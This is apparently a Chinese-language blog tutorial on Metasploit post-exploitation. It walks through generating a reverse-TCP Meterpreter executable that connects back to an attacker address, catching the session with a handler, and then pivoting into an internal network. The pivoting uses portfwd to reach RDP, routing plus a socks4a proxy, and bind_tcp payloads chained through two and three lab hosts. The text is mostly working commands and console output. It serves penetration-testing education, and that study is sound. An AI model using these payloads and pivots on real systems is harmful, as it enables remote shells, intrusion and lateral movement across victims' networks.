Metasploit滲透技巧：后滲透Meterpreter代理
Metasploit是一個(gè)免費(fèi)的、可下載的滲透測(cè)試框架，通過(guò)它可以很容易地獲取、開(kāi)發(fā)并對(duì)計(jì)算機(jī)軟件漏洞實(shí)施攻擊測(cè)試。它本身附帶數(shù)百個(gè)已知軟件漏洞的專(zhuān)業(yè)級(jí)漏洞攻擊測(cè)試工具。
當(dāng)H.D. Moore在2003年發(fā)布Metasploit時(shí)，計(jì)算機(jī)安全狀況也被永久性地改變了。仿佛一夜之間，任何人都可以成為黑客，每個(gè)人都可以使用攻擊工具來(lái)測(cè)試那些未打過(guò)補(bǔ)丁或者剛剛打過(guò)補(bǔ)丁的漏洞。
正是因?yàn)镸etasploit團(tuán)隊(duì)一直都在努力開(kāi)發(fā)各種攻擊測(cè)試工具，并將它們貢獻(xiàn)給所有Metasploit用戶，軟件廠商再也不能推遲發(fā)布針對(duì)已公布漏洞的補(bǔ)丁了。
本文將科普下metasploit隧道代理的使用技巧。
0×00 獲取meterpreter
1.首先生成可執(zhí)行文件
- root@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.101.105 LPORT=444 X > meter.exe
- [!] ************************************************************************
- [!] * The utility msfpayload is deprecated! *
- [!] * It will be removed on or about 2015-06-08 *
- [!] * Please use msfvenom instead *
- [!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
- [!] ************************************************************************
- Created by msfpayload (http://www.metasploit.com).
- Payload: windows/meterpreter/reverse_tcp
- Length: 281
- Options: {"LHOST"=>"192.168.101.105", "LPORT"=>"444"}
2.啟動(dòng)msfconsole，監(jiān)聽(tīng)反連端口
- root@kali:~# msfconsole
- [*] Starting the Metasploit Framework console.../
- Taking notes in notepad? Have Metasploit Pro track & report
- your progress and findings -- learn more on http://rapid7.com/metasploit
- =[ metasploit v4.11.0-2014122301 [core:4.11.0.pre.2014122301 api:1.0.0]]
- + -- --=[ 1386 exploits - 863 auxiliary - 236 post ]
- + -- --=[ 342 payloads - 37 encoders - 8 nops ]
- + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
- msf > use exploit/multi/handler
- msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
- PAYLOAD => windows/meterpreter/reverse_tcp
- msf exploit(handler) > set LHOST 0.0.0.0
- LHOST => 0.0.0.0
- msf exploit(handler) > set LPORT 444
- LPORT => 444
- msf exploit(handler) > show options
- Module options (exploit/multi/handler):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- Payload options (windows/meterpreter/reverse_tcp):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- EXITFUNC process yes Exit technique (accepted: seh, thread, process, none)
- LHOST 0.0.0.0 yes The listen address
- LPORT 444 yes The listen port
- Exploit target:
- Id Name
- -- ----
- 0 Wildcard Target
- msf exploit(handler) > run
- [*] Started reverse handler on 0.0.0.0:444
- [*] Starting the payload handler...
3.在xp-test1執(zhí)行meter.exe，attacker獲得meterperter
- msf exploit(handler) > run
- [*] Started reverse handler on 0.0.0.0:444
- [*] Starting the payload handler...
- [*] Sending stage (770048 bytes) to 192.168.101.107
- [*] Meterpreter session 1 opened (192.168.101.105:444 -> 192.168.101.107:48019) at 2015-01-11 12:49:11 +0800
- meterpreter > ipconfig
- Interface 1
- ============
- Name : MS TCP Loopback interface
- Hardware MAC : 00:00:00:00:00:00
- MTU : 1520
- IPv4 Address : 127.0.0.1
- Interface 2
- ============
- Name : AMD PCNET Family PCI Ethernet Adapter - pencS
- Hardware MAC : 00:0c:29:ed:cf:d0
- MTU : 1500
- IPv4 Address : 10.1.1.128
- IPv4 Netmask : 255.255.255.0
#p#
0×01 meterpreter基本隧道代理
好，現(xiàn)在已經(jīng)有一個(gè)反彈回來(lái)的權(quán)限，下面介紹meterpreter隧道代理的幾種方法
1.portfwd
portfwd 是meterpreter提供的一種基本的端口轉(zhuǎn)發(fā)。porfwd可以反彈單個(gè)端口到本地，并且監(jiān)聽(tīng).使用方法如下:
- meterpreter > portfwd
- 0 total local port forwards.
- meterpreter > portfwd -h
- Usage: portfwd [-h] [add | delete | list | flush] [args]
- OPTIONS:
- -L <opt> The local host to listen on (optional).
- -h Help banner.
- -l <opt> The local port to listen on.
- -p <opt> The remote port to connect to.
- -r <opt> The remote host to connect to.
使用實(shí)例介紹：
反彈10.1.1.129端口3389到本地2222并監(jiān)聽(tīng)那么可以使用如下方法：
- meterpreter > portfwd add -l 2222 -r 10.1.1.129 -p 3389
- [*] Local TCP relay created: 0.0.0.0:2222 <-> 10.1.1.129:3389
- meterpreter > portfwd
- 0: 0.0.0.0:2222 -> 10.1.1.129:3389
- 1 total local port forwards.
已經(jīng)轉(zhuǎn)發(fā)成功，下面來(lái)驗(yàn)證下：
- root@kali:~# netstat -an | grep "2222"
- tcp 0 0 0.0.0.0:2222 0.0.0.0:* LISTEN
可以看到已經(jīng)成功監(jiān)聽(tīng)2222端口
接著連接本地2222端口即可連接受害機(jī)器10.1.1.129 3389端口，如下：
- root@kali:~# rdesktop 127.1.1.0:2222
可以看到，已經(jīng)成功連接到10.1.1.129 的3389端口#p#
2. pivot
pivot是meterpreter最常用的一種代理，可以輕松把你的機(jī)器代理到受害者內(nèi)網(wǎng)環(huán)境，下面介紹下pivot的搭建和使用方法
使用方法route add 目標(biāo)i或ip段 Netmask 要使用代理的會(huì)話，通過(guò)實(shí)例來(lái)說(shuō)明：
在metasploit添加一個(gè)路由表，目的是訪問(wèn)10.1.1.129將通過(guò)meterpreter的會(huì)話 1 來(lái)訪問(wèn)：
- msf exploit(handler) > route add 10.1.1.129 255.255.255.255 1
- [*] Route added
- msf exploit(handler) > route print
- Active Routing Table
- ====================
- Subnet Netmask Gateway
- ------ ------- -------
- 10.1.1.129 255.255.255.255 Session 1
這里如果要代理10.1.1.129/24 到session 1，則可以這么寫(xiě)
- route add 10.1.1.0 255.255.255.0 1
到這里pivot已經(jīng)配置好了，你在msf里對(duì)10.1.1.129進(jìn)行掃描(db_nmap)或者訪問(wèn)(psexe 模塊，ssh模塊等)將通過(guò)代理session 1這個(gè)會(huì)話來(lái)訪問(wèn)。
如果想通過(guò)其他應(yīng)用程序來(lái)使用這個(gè)代理怎么辦呢，這時(shí)候可以借助 metasploit socks4a提供一個(gè)監(jiān)聽(tīng)隧道供其他應(yīng)用程序訪問(wèn)：
首先使用 socks4a并且配置，監(jiān)聽(tīng)端口
- msf exploit(handler) > use auxiliary/server/socks4a
- msf auxiliary(socks4a) > show options
- Module options (auxiliary/server/socks4a):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- SRVHOST 0.0.0.0 yes The address to listen on
- SRVPORT 1080 yes The port to listen on.
- Auxiliary action:
- Name Description
- ---- -----------
- Proxy
- msf auxiliary(socks4a) > exploit -y
- [*] Auxiliary module execution completed
- msf auxiliary(socks4a) >
- [*] Starting the socks4a proxy server
查看監(jiān)聽(tīng)端口
- root@kali:~# netstat -an | grep "1080"
- tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN
端口已經(jīng)監(jiān)聽(tīng)，接著配置 proxychains
- root@kali:~# vim /etc/proxychains.conf
- [ProxyList]
- # add proxy here ...
- # meanwileroot@kali:~# netstat -an | grep "1080"
- tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN
- # defaults set to "tor"
- socks4 127.0.0.1 1080
配置好以后看看使用 proxychains進(jìn)行代理訪問(wèn)，這里訪問(wèn)10.1.1.129 3389端口
可以看到已經(jīng)成功訪問(wèn)#p#
0×02 多級(jí)代理
1. 二級(jí)代理隧道
上面介紹了meterpreter基礎(chǔ)的代理方法，但是有些實(shí)際環(huán)境不能直接使用，考慮如下環(huán)境(內(nèi)網(wǎng)機(jī)器A、B。A機(jī)器可以對(duì)外連接，但是訪問(wèn)控制很?chē)?yán)格，只能訪問(wèn)到很少的內(nèi)網(wǎng)機(jī)器，B機(jī)器不能對(duì)外連接，但是可以訪問(wèn)到很多核心服務(wù)和機(jī)器，A、B之間可以互相訪問(wèn))，如果我們想通過(guò)B機(jī)器對(duì)核心服務(wù)和機(jī)器進(jìn)行掃描和訪問(wèn)要怎么辦呢?
這時(shí)候我們就meterpreter的pivot組合輕松實(shí)現(xiàn)二級(jí)代理就可以
效果示意圖:attacker->xp-test1->xp-test2
首先接著上面，我們已經(jīng)有一個(gè)xp-test1反彈回來(lái)的meterprter了，接著我們生成一個(gè)正向的執(zhí)行文件
- root@kali:~# msfpayload windows/meterpreter/bind_tcp RHOST=0.0.0.0 RPORT=4444 X > Rmeter.exe
- [!] ************************************************************************
- [!] * The utility msfpayload is deprecated! *
- [!] * It will be removed on or about 2015-06-08 *
- [!] * Please use msfvenom instead *
- [!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
- [!] ************************************************************************
- Created by msfpayload (http://www.metasploit.com).
- Payload: windows/meterpreter/bind_tcp
- Length: 285
- Options: {"RHOST"=>"0.0.0.0", "RPORT"=>"4444"}
生成好以后在xp-test2上面運(yùn)行
接著在msf里面添加路由
- msf exploit(handler) > route add 10.1.1.129 255.255.255.255 2
- [*] Route added
- msf exploit(handler) > route print
- Active Routing Table
- ====================
- Subnet Netmask Gateway
- ------ ------- -------
- 10.1.1.129 255.255.255.255 Session 2
連接正向 meterpreter獲取權(quán)限
- msf exploit(handler) > use exploit/multi/handler
- msf exploit(handler) > set PAYLOAD windows//bind_tcp
- PAYLOAD => windows/meterpreter/bind_tcp
- msf exploit(handler) > set RHOST 10.1.1.129
- RHOST => 10.1.1.129
- msf exploit(handler) > show options
- Module options (exploit/multi/handler):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- Payload options (windows/meterpreter/bind_tcp):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- EXITFUNC process yes Exit technique (accepted: seh, thread, process, none)
- LPORT 444 yes The listen port
- RHOST 10.1.1.129 no The target address
- Exploit target:
- Id Name
- -- ----
- 0 Wildcard Target
- msf exploit(handler) > set LPORT 4444
- LPORT => 4444
- msf exploit(handler) > show options
- Module options (exploit/multi/handler):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- Payload options (windows/meterpreter/bind_tcp):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- EXITFUNC process yes Exit technique (accepted: seh, thread, process, none)
- LPORT 4444 yes The listen port
- RHOST 10.1.1.129 no The target address
- Exploit target:
- Id Name
- -- ----
- 0 Wildcard Target
- msf exploit(handler) > run
- [*] Started bind handler
- [*] Starting the payload handler...
- [*] Sending stage (770048 bytes)
- [*] Meterpreter session 3 opened (192.168.101.105-192.168.101.107:0 -> 10.1.1.129:4444) at 2015-01-11 13:34:37 +0800
現(xiàn)在已經(jīng)獲取到xp-test2的權(quán)限，注意這里是通過(guò)xp-test1 pivot代理
下面來(lái)驗(yàn)證下，查看xp-test2 4444端口
- C:\Documents and Settings\Administrator>netstat -an | find "4444"
- TCP 10.1.1.129:4444 10.1.1.128:1051 ESTABLISHED
是通過(guò)xp-test1進(jìn)行連接的。
這時(shí)候二級(jí)代理已經(jīng)搭建好了，你可以添加需要訪問(wèn)的ip到路由表，通過(guò)第二層的session(session 3)，就可以使用metaploit的其他模塊訪問(wèn)或掃描了。#p#
2.三級(jí)或多級(jí)代理
有時(shí)候過(guò)于龐大或者復(fù)雜的內(nèi)網(wǎng)環(huán)境，甚至需要三層或者多層代理，原理與兩層相似，通過(guò)在第二層代理的基礎(chǔ)上進(jìn)行連接既可
示意圖：attacket->xp-test1->xp-test2->xp-test3->…..
與兩層代理類(lèi)似，如下實(shí)現(xiàn)：
- msf exploit(handler) > sessions -l
- Active sessions
- ===============
- Id Type Information Connection
- -- ---- ----------- ----------
- 2 meterpreter x86/win32 XP-TEST1\Administrator @ XP-TEST1 192.168.101.105:444 -> 192.168.101.107:51205 (10.1.1.128)
- 4 meterpreter x86/win32 XP-TEST2\Administrator @ XP-TEST2 192.168.101.105-192.168.101.107:0 -> 10.1.1.129:4444 (10.1.1.129)
- msf exploit(handler) > route add 10.1.1.131 4
- [-] Missing arguments to route add.
- msf exploit(handler) > route add 10.1.1.131 255.255.255.255 4
- [*] Route added
- msf exploit(handler) > route print
- Active Routing Table
- ====================
- Subnet Netmask Gateway
- ------ ------- -------
- 10.1.1.129 255.255.255.255 Session 2
- 10.1.1.131 255.255.255.255 Session 4
- msf exploit(handler) > set RHOST=10.1.1.131
- [-] Unknown variable
- Usage: set [option] [value]
- Set the given option to value. If value is omitted, print the current value.
- If both are omitted, print options that are currently set.
- If run from a module context, this will set the value in the module's
- datastore. Use -g to operate on the global datastore
- msf exploit(handler) > set RHOST 10.1.1.131
- RHOST => 10.1.1.131
- msf exploit(handler) > show options
- Module options (exploit/multi/handler):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- Payload options (windows/meterpreter/bind_tcp):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- EXITFUNC process yes Exit technique (accepted: seh, thread, process, none)
- LPORT 4444 yes The listen port
- RHOST 10.1.1.131 no The target address
- Exploit target:
- Id Name
- -- ----
- 0 Wildcard Target
- msf exploit(handler) > run
- [*] Started bind handler
- [*] Starting the payload handler...
- [*] Sending stage (770048 bytes)
- [*] Meterpreter session 5 opened (192.168.101.105-_1_-192.168.101.107:0 -> 10.1.1.131:4444) at 2015-01-11 13:45:53 +0800
- meterpreter > background
- [*] Backgrounding session 5...
- msf exploit(handler) > sessions -l
- Active sessions
- ===============
- Id Type Information Connection
- -- ---- ----------- ----------
- 2 meterpreter x86/win32 XP-TEST1\Administrator @ XP-TEST1 192.168.101.105:444 -> 192.168.101.107:51205 (10.1.1.128)
- 4 meterpreter x86/win32 XP-TEST2\Administrator @ XP-TEST2 192.168.101.105-192.168.101.107:0 -> 10.1.1.129:4444 (10.1.1.129)
- 5 meterpreter x86/win32 XP-TEST3\Administrator @ XP-TEST3 192.168.101.105-_1_-192.168.101.107:0 -> 10.1.1.131:4444 (10.1.1.131)
- 在xp-test3查看端口連接
- C:\Documents and Settings\Administrator>netstat -an | find "4444"
- TCP 10.1.1.131:4444 10.1.1.129:1032 ESTABLISHED
- 在xp-test2查看4444端口
- C:\Documents and Settings\Administrator>netstat -an | find "4444"
- TCP 10.1.1.129:1032 10.1.1.131:4444 ESTABLISHED
- TCP 10.1.1.129:4444 10.1.1.128:1054 ESTABLISHED
- 說(shuō)明已經(jīng)實(shí)現(xiàn)三級(jí)連接，即attacker->xp-test1->xp-test2->xp-test3
0×03 總結(jié)
最后,代理級(jí)數(shù)越多，帶寬損耗和穩(wěn)定性就會(huì)下降。滲透過(guò)程中根據(jù)實(shí)際情況自由靈活的選擇和使用代理方式才能實(shí)現(xiàn)事半工倍的效果。
